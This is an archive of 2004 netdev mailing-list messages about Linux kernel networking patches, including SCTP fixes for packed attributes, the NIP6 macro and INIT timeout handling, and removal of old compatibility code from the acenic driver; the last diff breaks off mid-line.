"_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3622 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004 15:53:58 -0800 (PST) Sridhar Samudrala wrote: > I missed this warning as i don't have irda enabled in my config. > A simple fix would be to rename the macro in sctp.h to > SCTP_MSECS_TO_JIFFIES. I've fixed this in my tree. > > ipv6.c: In function `sctp_v6_xmit': > > ipv6.c:189: request for member `in6_u' in something not a structure or union > > ipv6.c:189: request for member `in6_u' in something not a structure or union > > I am not seeing these errors with either gcc3.2.2 or gcc2.96. But, looking at the > code, this definitely seems to be a problem. Not sure why the newer versions of > gcc didn't catch them. It's trying to use NIP6() on an object that is not a struct in6_addr. I'll just comment this thing out for now. From jgarzik@pobox.com Fri Feb 27 12:14:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 12:14:57 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RKEqKO010665 for ; Fri, 27 Feb 2004 12:14:53 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1087 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwoNn-0003sb-FB; Fri, 27 Feb 2004 20:14:51 +0000 Message-ID: <403FA52F.8080008@pobox.com> Date: Fri, 27 Feb 2004 15:14:39 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Cacophonix , netdev@oss.sgi.com Subject: Re: [PATCH] hp100 -- isa probe fix References: <20040224170700.11adc3cc@dell_ss3.pdx.osdl.net> <20040225213347.5491.qmail@web14006.mail.yahoo.com> <20040226103347.65bd7de9@dell_ss3.pdx.osdl.net> In-Reply-To: <20040226103347.65bd7de9@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3623 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From sri@us.ibm.com Fri Feb 27 12:31:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 12:31:46 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RKVQKO014150 for ; Fri, 27 Feb 2004 12:31:33 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1RKVKrj396126; Fri, 27 Feb 2004 15:31:20 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1RKVJVO114112; Fri, 27 Feb 2004 13:31:19 -0700 Date: Fri, 27 Feb 2004 12:31:18 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.4 SCTP updates. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3624 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Dave, Thanks for fixing the MSECS_TO_JIFFIES warning. Here are a few updates to SCTP on top of the latest 2.4 BK tree. It includes fixes to NIP6 macro compile error, incorrect packed attribute usage and a bug with sinit_max_init_timeo behavior. please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work # This patch includes the following deltas: # ChangeSet 1.1327 -> 1.1330 # net/sctp/sm_statefuns.c 1.4 -> 1.5 # net/sctp/ipv6.c 1.5 -> 1.6 # include/linux/sctp.h 1.4 -> 1.5 # include/net/sctp/structs.h 1.5 -> 1.6 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/27 sri@us.ibm.com 1.1328 # [SCTP] Fix packed attribute usage. # -------------------------------------------- # 04/02/27 sri@us.ibm.com 1.1329 # [SCTP] Fix NIP6 macro to take a ptr to struct in6_addr. # -------------------------------------------- # 04/02/27 sri@us.ibm.com 1.1330 # [SCTP] Fix incorrect INIT process termination with sinit_max_init_timeo. # # Currently, sinit_max_init_timeo is treated as the maximum timeout # value for INIT retransmissions and the INIT process is aborted when # the timeout reaches this value. But as per the SCTP sockets API draft, # sinit_max_init_timeo only limits the timeout. The INIT process should # be aborted only after MAX_INIT_RETRANSMITS. # -------------------------------------------- # diff -Nru a/include/linux/sctp.h b/include/linux/sctp.h --- a/include/linux/sctp.h Fri Feb 27 12:06:12 2004 +++ b/include/linux/sctp.h Fri Feb 27 12:06:12 2004 @@ -61,14 +61,14 @@ __u16 dest; __u32 vtag; __u32 checksum; -} sctp_sctphdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_sctphdr_t; /* Section 3.2. Chunk Field Descriptions. */ typedef struct sctp_chunkhdr { __u8 type; __u8 flags; __u16 length; -} sctp_chunkhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_chunkhdr_t; /* Section 3.2. Chunk Type Values. @@ -152,7 +152,7 @@ typedef struct sctp_paramhdr { __u16 type; __u16 length; -} sctp_paramhdr_t __attribute((packed)); +} __attribute__((packed)) sctp_paramhdr_t; typedef enum { @@ -202,12 +202,12 @@ __u16 ssn; __u32 ppid; __u8 payload[0]; -} sctp_datahdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_datahdr_t; typedef struct sctp_data_chunk { sctp_chunkhdr_t chunk_hdr; sctp_datahdr_t data_hdr; -} sctp_data_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_data_chunk_t; /* DATA Chuck Specific Flags */ enum { @@ -232,48 +232,48 @@ __u16 num_inbound_streams; __u32 initial_tsn; __u8 params[0]; -} sctp_inithdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_inithdr_t; typedef struct sctp_init_chunk { sctp_chunkhdr_t chunk_hdr; sctp_inithdr_t init_hdr; -} sctp_init_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_init_chunk_t; /* Section 3.3.2.1. IPv4 Address Parameter (5) */ typedef struct sctp_ipv4addr_param { sctp_paramhdr_t param_hdr; struct in_addr addr; -} sctp_ipv4addr_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_ipv4addr_param_t; /* Section 3.3.2.1. IPv6 Address Parameter (6) */ typedef struct sctp_ipv6addr_param { sctp_paramhdr_t param_hdr; struct in6_addr addr; -} sctp_ipv6addr_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_ipv6addr_param_t; /* Section 3.3.2.1 Cookie Preservative (9) */ typedef struct sctp_cookie_preserve_param { sctp_paramhdr_t param_hdr; uint32_t lifespan_increment; -} sctp_cookie_preserve_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_cookie_preserve_param_t; /* Section 3.3.2.1 Host Name Address (11) */ typedef struct sctp_hostname_param { sctp_paramhdr_t param_hdr; uint8_t hostname[0]; -} sctp_hostname_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_hostname_param_t; /* Section 3.3.2.1 Supported Address Types (12) */ typedef struct sctp_supported_addrs_param { sctp_paramhdr_t param_hdr; uint16_t types[0]; -} sctp_supported_addrs_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_supported_addrs_param_t; /* Appendix A. ECN Capable (32768) */ typedef struct sctp_ecn_capable_param { sctp_paramhdr_t param_hdr; -} sctp_ecn_capable_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_ecn_capable_param_t; @@ -287,13 +287,13 @@ typedef struct sctp_cookie_param { sctp_paramhdr_t p; __u8 body[0]; -} sctp_cookie_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_cookie_param_t; /* Section 3.3.3.1 Unrecognized Parameters (8) */ typedef struct sctp_unrecognized_param { sctp_paramhdr_t param_hdr; sctp_paramhdr_t unrecognized; -} sctp_unrecognized_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_unrecognized_param_t; @@ -308,7 +308,7 @@ typedef struct sctp_gap_ack_block { __u16 start; __u16 end; -} sctp_gap_ack_block_t __attribute__((packed)); +} __attribute__((packed)) sctp_gap_ack_block_t; typedef uint32_t sctp_dup_tsn_t; @@ -323,12 +323,12 @@ __u16 num_gap_ack_blocks; __u16 num_dup_tsns; sctp_sack_variable_t variable[0]; -} sctp_sackhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_sackhdr_t; typedef struct sctp_sack_chunk { sctp_chunkhdr_t chunk_hdr; sctp_sackhdr_t sack_hdr; -} sctp_sack_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_sack_chunk_t; /* RFC 2960. Section 3.3.5 Heartbeat Request (HEARTBEAT) (4): @@ -340,12 +340,12 @@ typedef struct sctp_heartbeathdr { sctp_paramhdr_t info; -} sctp_heartbeathdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_heartbeathdr_t; typedef struct sctp_heartbeat_chunk { sctp_chunkhdr_t chunk_hdr; sctp_heartbeathdr_t hb_hdr; -} sctp_heartbeat_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_heartbeat_chunk_t; /* For the abort and shutdown ACK we must carry the init tag in the @@ -354,7 +354,7 @@ */ typedef struct sctp_abort_chunk { sctp_chunkhdr_t uh; -} sctp_abort_chunkt_t __attribute__((packed)); +} __attribute__((packed)) sctp_abort_chunkt_t; /* For the graceful shutdown we must carry the tag (in common header) @@ -362,14 +362,12 @@ */ typedef struct sctp_shutdownhdr { __u32 cum_tsn_ack; -} sctp_shutdownhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_shutdownhdr_t; struct sctp_shutdown_chunk_t { sctp_chunkhdr_t chunk_hdr; sctp_shutdownhdr_t shutdown_hdr; -} __attribute__((packed)); - - +} __attribute__ ((packed)); /* RFC 2960. Section 3.3.10 Operation Error (ERROR) (9) */ @@ -377,12 +375,12 @@ __u16 cause; __u16 length; __u8 variable[0]; -} sctp_errhdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_errhdr_t; typedef struct sctp_operr_chunk { sctp_chunkhdr_t chunk_hdr; sctp_errhdr_t err_hdr; -} sctp_operr_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_operr_chunk_t; /* RFC 2960 3.3.10 - Operation Error * @@ -460,7 +458,7 @@ typedef struct sctp_ecne_chunk { sctp_chunkhdr_t chunk_hdr; sctp_ecnehdr_t ence_hdr; -} sctp_ecne_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_ecne_chunk_t; /* RFC 2960. Appendix A. Explicit Congestion Notification. * Congestion Window Reduced (CWR) (13) @@ -472,7 +470,7 @@ typedef struct sctp_cwr_chunk { sctp_chunkhdr_t chunk_hdr; sctp_cwrhdr_t cwr_hdr; -} sctp_cwr_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_cwr_chunk_t; /* * ADDIP Section 3.1 New Chunk Types @@ -513,16 +511,16 @@ typedef struct sctp_addip_param { sctp_paramhdr_t param_hdr; __u32 crr_id; -}sctp_addip_param_t __attribute__((packed)); +} __attribute__((packed)) sctp_addip_param_t; typedef struct sctp_addiphdr { __u32 serial; __u8 params[0]; -} sctp_addiphdr_t __attribute__((packed)); +} __attribute__((packed)) sctp_addiphdr_t; typedef struct sctp_addip_chunk { sctp_chunkhdr_t chunk_hdr; sctp_addiphdr_t addip_hdr; -} sctp_addip_chunk_t __attribute__((packed)); +} __attribute__((packed)) sctp_addip_chunk_t; #endif /* __LINUX_SCTP_H__ */ diff -Nru a/include/net/sctp/structs.h b/include/net/sctp/structs.h --- a/include/net/sctp/structs.h Fri Feb 27 12:06:12 2004 +++ b/include/net/sctp/structs.h Fri Feb 27 12:06:12 2004 @@ -369,7 +369,7 @@ struct sctp_paramhdr param_hdr; union sctp_addr daddr; unsigned long sent_at; -} sctp_sender_hb_info_t __attribute__((packed)); +} __attribute__((packed)) sctp_sender_hb_info_t; /* * RFC 2960 1.3.2 Sequenced Delivery within Streams diff -Nru a/net/sctp/ipv6.c b/net/sctp/ipv6.c --- a/net/sctp/ipv6.c Fri Feb 27 12:06:12 2004 +++ b/net/sctp/ipv6.c Fri Feb 27 12:06:12 2004 @@ -82,14 +82,14 @@ /* FIXME: This macro needs to be moved to a common header file. */ #define NIP6(addr) \ - ntohs((addr).s6_addr16[0]), \ - ntohs((addr).s6_addr16[1]), \ - ntohs((addr).s6_addr16[2]), \ - ntohs((addr).s6_addr16[3]), \ - ntohs((addr).s6_addr16[4]), \ - ntohs((addr).s6_addr16[5]), \ - ntohs((addr).s6_addr16[6]), \ - ntohs((addr).s6_addr16[7]) + ntohs((addr)->s6_addr16[0]), \ + ntohs((addr)->s6_addr16[1]), \ + ntohs((addr)->s6_addr16[2]), \ + ntohs((addr)->s6_addr16[3]), \ + ntohs((addr)->s6_addr16[4]), \ + ntohs((addr)->s6_addr16[5]), \ + ntohs((addr)->s6_addr16[6]), \ + ntohs((addr)->s6_addr16[7]) /* ICMP error handler. */ void sctp_v6_err(struct sk_buff *skb, struct inet6_skb_parm *opt, @@ -181,13 +181,13 @@ struct rt0_hdr *rt0 = (struct rt0_hdr *) np->opt->srcrt; fl.fl6_dst = rt0->addr; } -#if 0 + SCTP_DEBUG_PRINTK("%s: skb:%p, len:%d, " "src:%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x " "dst:%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x\n", __FUNCTION__, skb, skb->len, NIP6(fl.fl6_src), NIP6(fl.fl6_dst)); -#endif + SCTP_INC_STATS(SctpOutSCTPPacks); return ip6_xmit(sk, skb, &fl, np->opt); @@ -226,7 +226,7 @@ SCTP_DEBUG_PRINTK( "rt6_dst:%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x " "rt6_src:%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x\n", - NIP6(rt->rt6i_dst.addr), NIP6(rt->rt6i_src.addr)); + NIP6(&rt->rt6i_dst.addr), NIP6(&rt->rt6i_src.addr)); } else { SCTP_DEBUG_PRINTK("NO ROUTE\n"); } @@ -273,13 +273,13 @@ SCTP_DEBUG_PRINTK("%s: asoc:%p dst:%p " "daddr:%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x ", - __FUNCTION__, asoc, dst, NIP6(daddr->v6.sin6_addr)); + __FUNCTION__, asoc, dst, NIP6(&daddr->v6.sin6_addr)); if (!asoc) { ipv6_get_saddr(dst, &daddr->v6.sin6_addr,&saddr->v6.sin6_addr); SCTP_DEBUG_PRINTK("saddr from ipv6_get_saddr: " "%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x\n", - NIP6(saddr->v6.sin6_addr)); + NIP6(&saddr->v6.sin6_addr)); return; } @@ -308,12 +308,12 @@ memcpy(saddr, baddr, sizeof(union sctp_addr)); SCTP_DEBUG_PRINTK("saddr: " "%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x\n", - NIP6(saddr->v6.sin6_addr)); + NIP6(&saddr->v6.sin6_addr)); } else { printk(KERN_ERR "%s: asoc:%p Could not find a valid source " "address for the " "dest:%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x\n", - __FUNCTION__, asoc, NIP6(daddr->v6.sin6_addr)); + __FUNCTION__, asoc, NIP6(&daddr->v6.sin6_addr)); } sctp_read_unlock(addr_lock); @@ -678,7 +678,7 @@ static void sctp_v6_seq_dump_addr(struct seq_file *seq, union sctp_addr *addr) { seq_printf(seq, "%04x:%04x:%04x:%04x:%04x:%04x:%04x:%04x ", - NIP6(addr->v6.sin6_addr)); + NIP6(&addr->v6.sin6_addr)); } /* Initialize a PF_INET6 socket msg_name. */ diff -Nru a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c --- a/net/sctp/sm_statefuns.c Fri Feb 27 12:06:12 2004 +++ b/net/sctp/sm_statefuns.c Fri Feb 27 12:06:12 2004 @@ -4272,8 +4272,7 @@ SCTP_DEBUG_PRINTK("Timer T1 expired.\n"); - if ((timeout < asoc->max_init_timeo) && - (attempts < asoc->max_init_attempts)) { + if (attempts < asoc->max_init_attempts) { switch (timer) { case SCTP_EVENT_TIMEOUT_T1_INIT: bp = (struct sctp_bind_addr *) &asoc->base.bind_addr; From sri@us.ibm.com Fri Feb 27 12:34:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 12:34:13 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RKY3KO014512 for ; Fri, 27 Feb 2004 12:34:09 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1RKXw5w342578; Fri, 27 Feb 2004 15:33:58 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1RKXuVO115574; Fri, 27 Feb 2004 13:33:57 -0700 Date: Fri, 27 Feb 2004 12:33:56 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.6 SCTP update Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3625 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work to get the following update to SCTP on top of linux 2.6.3 # This patch includes the following deltas: # ChangeSet 1.1651 -> 1.1652 # net/sctp/sm_statefuns.c 1.67 -> 1.68 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/27 sri@us.ibm.com 1.1652 # [SCTP] Fix incorrect INIT process termination with sinit_max_init_timeo. # # Currently, sinit_max_init_timeo is treated as the maximum timeout # value for INIT retransmissions and the INIT process is aborted when # the timeout reaches this value. But as per the SCTP sockets API draft, # sinit_max_init_timeo only limits the timeout. The INIT process should # be aborted only after MAX_INIT_RETRANSMITS. # -------------------------------------------- # diff -Nru a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c --- a/net/sctp/sm_statefuns.c Fri Feb 27 11:04:51 2004 +++ b/net/sctp/sm_statefuns.c Fri Feb 27 11:04:51 2004 @@ -4272,8 +4272,7 @@ SCTP_DEBUG_PRINTK("Timer T1 expired.\n"); - if ((timeout < asoc->max_init_timeo) && - (attempts < asoc->max_init_attempts)) { + if (attempts < asoc->max_init_attempts) { switch (timer) { case SCTP_EVENT_TIMEOUT_T1_INIT: bp = (struct sctp_bind_addr *) &asoc->base.bind_addr; From jgarzik@pobox.com Fri Feb 27 12:55:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 12:56:03 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RKttKO015072 for ; Fri, 27 Feb 2004 12:55:58 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1105 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Awp1W-0004JM-1E; Fri, 27 Feb 2004 20:55:54 +0000 Message-ID: <403FAECD.3090203@pobox.com> Date: Fri, 27 Feb 2004 15:55:41 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: jes@wildopensource.com, netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic References: <20040227202510.GA19947@lst.de> In-Reply-To: <20040227202510.GA19947@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3626 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Christoph Hellwig wrote: > Kills lots of really old cruft and adds a little cruft to actually > make the driver work with recent 2.4 again. Since kcompat (http://sf.net/projects/gkernel/) lets PCI API drivers work in 2.2, 2.4 and 2.6, I am OK with applying this patch...... assuming there is a second patch coming to convert to pci_driver API. Jeff From jgarzik@pobox.com Fri Feb 27 12:58:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 12:59:10 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RKwvKO015425 for ; Fri, 27 Feb 2004 12:58:58 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1112 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Awp4S-0004Kk-KU; Fri, 27 Feb 2004 20:58:56 +0000 Message-ID: <403FAF85.1050803@pobox.com> Date: Fri, 27 Feb 2004 15:58:45 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: jes@wildopensource.com, netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic References: <20040227202510.GA19947@lst.de> <403FAECD.3090203@pobox.com> <20040227205729.GB20398@lst.de> In-Reply-To: <20040227205729.GB20398@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3627 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Christoph Hellwig wrote: > As soon as this patch is in Linus' tree I'll send you a followup. Send the followup and then both get applied at the same time... it's going into 2.4 too and I want to coordinate. Jeff From hch@lst.de Fri Feb 27 13:13:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 13:13:47 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RLDYKQ015952 for ; Fri, 27 Feb 2004 13:13:36 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1RKPBQc019987 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 27 Feb 2004 21:25:11 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1RKPAYJ019985; Fri, 27 Feb 2004 21:25:10 +0100 Date: Fri, 27 Feb 2004 21:25:10 +0100 From: Christoph Hellwig To: jes@wildopensource.com, jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH] kill acient compat cruft from acenic Message-ID: <20040227202510.GA19947@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3629 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev Kills lots of really old cruft and adds a little cruft to actually make the driver work with recent 2.4 again. --- 1.42/drivers/net/acenic.c Sat Feb 7 06:04:18 2004 +++ edited/drivers/net/acenic.c Fri Feb 27 15:04:04 2004 @@ -131,7 +131,6 @@ #define PCI_DEVICE_ID_SGI_ACENIC 0x0009 #endif -#if LINUX_VERSION_CODE >= 0x20400 static struct pci_device_id acenic_pci_tbl[] = { { PCI_VENDOR_ID_ALTEON, PCI_DEVICE_ID_ALTEON_ACENIC_FIBRE, PCI_ANY_ID, PCI_ANY_ID, PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, }, @@ -156,37 +155,6 @@ { } }; MODULE_DEVICE_TABLE(pci, acenic_pci_tbl); -#endif - - -#ifndef MODULE_LICENSE -#define MODULE_LICENSE(a) -#endif - -#ifndef wmb -#define wmb() mb() -#endif - -#ifndef __exit -#define __exit -#endif - -#ifndef __devinit -#define __devinit __init -#endif - -#ifndef SMP_CACHE_BYTES -#define SMP_CACHE_BYTES L1_CACHE_BYTES -#endif - -#ifndef SET_MODULE_OWNER -#define SET_MODULE_OWNER(dev) do{} while(0) -#define ACE_MOD_INC_USE_COUNT MOD_INC_USE_COUNT -#define ACE_MOD_DEC_USE_COUNT MOD_DEC_USE_COUNT -#else -#define ACE_MOD_INC_USE_COUNT do{} while(0) -#define ACE_MOD_DEC_USE_COUNT do{} while(0) -#endif #ifndef SET_NETDEV_DEV #define SET_NETDEV_DEV(net, pdev) do{} while(0) @@ -198,151 +166,8 @@ #define ace_sync_irq(irq) synchronize_irq() #endif -#if LINUX_VERSION_CODE < 0x2051e -#define local_irq_save(flags) do{__save_flags(flags) ; \ - __cli();} while(0) -#define local_irq_restore(flags) __restore_flags(flags) -#endif - -#if (LINUX_VERSION_CODE < 0x02030d) -#define pci_resource_start(dev, bar) dev->base_address[bar] -#elif (LINUX_VERSION_CODE < 0x02032c) -#define pci_resource_start(dev, bar) dev->resource[bar].start -#endif - -#if (LINUX_VERSION_CODE < 0x02030e) -#define net_device device -#endif - - -#if (LINUX_VERSION_CODE < 0x02032a) -typedef u32 dma_addr_t; - -static inline void *pci_alloc_consistent(struct pci_dev *hwdev, size_t size, - dma_addr_t *dma_handle) -{ - void *virt_ptr; - - virt_ptr = kmalloc(size, GFP_KERNEL); - if (!virt_ptr) - return NULL; - *dma_handle = virt_to_bus(virt_ptr); - return virt_ptr; -} - -#define pci_free_consistent(cookie, size, ptr, dma_ptr) kfree(ptr) -#define pci_map_page(cookie, page, off, size, dir) \ - virt_to_bus(page_address(page)+(off)) -#define pci_unmap_page(cookie, address, size, dir) -#define pci_set_dma_mask(dev, mask) \ - (((u64)(mask) & 0xffffffff00000000) == 0 ? 0 : -EIO) -#define pci_dma_supported(dev, mask) \ - (((u64)(mask) & 0xffffffff00000000) == 0 ? 1 : 0) - -#elif (LINUX_VERSION_CODE < 0x02040d) - -/* - * 2.4.13 introduced pci_map_page()/pci_unmap_page() - for 2.4.12 and prior, - * fall back on pci_map_single()/pci_unnmap_single(). - * - * We are guaranteed that the page is mapped at this point since - * pci_map_page() is only used upon valid struct skb's. - */ -static inline dma_addr_t -pci_map_page(struct pci_dev *cookie, struct page *page, unsigned long off, - size_t size, int dir) -{ - void *page_virt; - - page_virt = page_address(page); - if (!page_virt) - BUG(); - return pci_map_single(cookie, (page_virt + off), size, dir); -} -#define pci_unmap_page(cookie, dma_addr, size, dir) \ - pci_unmap_single(cookie, dma_addr, size, dir) -#endif - -#if (LINUX_VERSION_CODE < 0x020412) -#define DECLARE_PCI_UNMAP_ADDR(ADDR_NAME) -#define DECLARE_PCI_UNMAP_LEN(LEN_NAME) -#define pci_unmap_addr(PTR, ADDR_NAME) 0 -#define pci_unmap_addr_set(PTR, ADDR_NAME, VAL) do{} while(0) -#define pci_unmap_len(PTR, LEN_NAME) 0 -#define pci_unmap_len_set(PTR, LEN_NAME, VAL) do{} while(0) -#endif - - -#if (LINUX_VERSION_CODE < 0x02032b) -/* - * SoftNet - * - * For pre-softnet kernels we need to tell the upper layer not to - * re-enter start_xmit() while we are in there. However softnet - * guarantees not to enter while we are in there so there is no need - * to do the netif_stop_queue() dance unless the transmit queue really - * gets stuck. This should also improve performance according to tests - * done by Aman Singla. - */ -#define dev_kfree_skb_irq(a) dev_kfree_skb(a) -#define netif_wake_queue(dev) clear_bit(0, &dev->tbusy) -#define netif_stop_queue(dev) set_bit(0, &dev->tbusy) -#define late_stop_netif_stop_queue(dev) do{} while(0) -#define early_stop_netif_stop_queue(dev) test_and_set_bit(0,&dev->tbusy) -#define early_stop_netif_wake_queue(dev) netif_wake_queue(dev) - -static inline void netif_start_queue(struct net_device *dev) -{ - dev->tbusy = 0; - dev->interrupt = 0; - dev->start = 1; -} - -#define ace_mark_net_bh() mark_bh(NET_BH) -#define netif_queue_stopped(dev) dev->tbusy -#define netif_running(dev) dev->start -#define ace_if_down(dev) do{dev->start = 0;} while(0) - -#define tasklet_struct tq_struct -static inline void tasklet_schedule(struct tasklet_struct *tasklet) -{ - queue_task(tasklet, &tq_immediate); - mark_bh(IMMEDIATE_BH); -} - -static inline void tasklet_init(struct tasklet_struct *tasklet, - void (*func)(unsigned long), - unsigned long data) -{ - tasklet->next = NULL; - tasklet->sync = 0; - tasklet->routine = (void (*)(void *))func; - tasklet->data = (void *)data; -} -#define tasklet_kill(tasklet) do{} 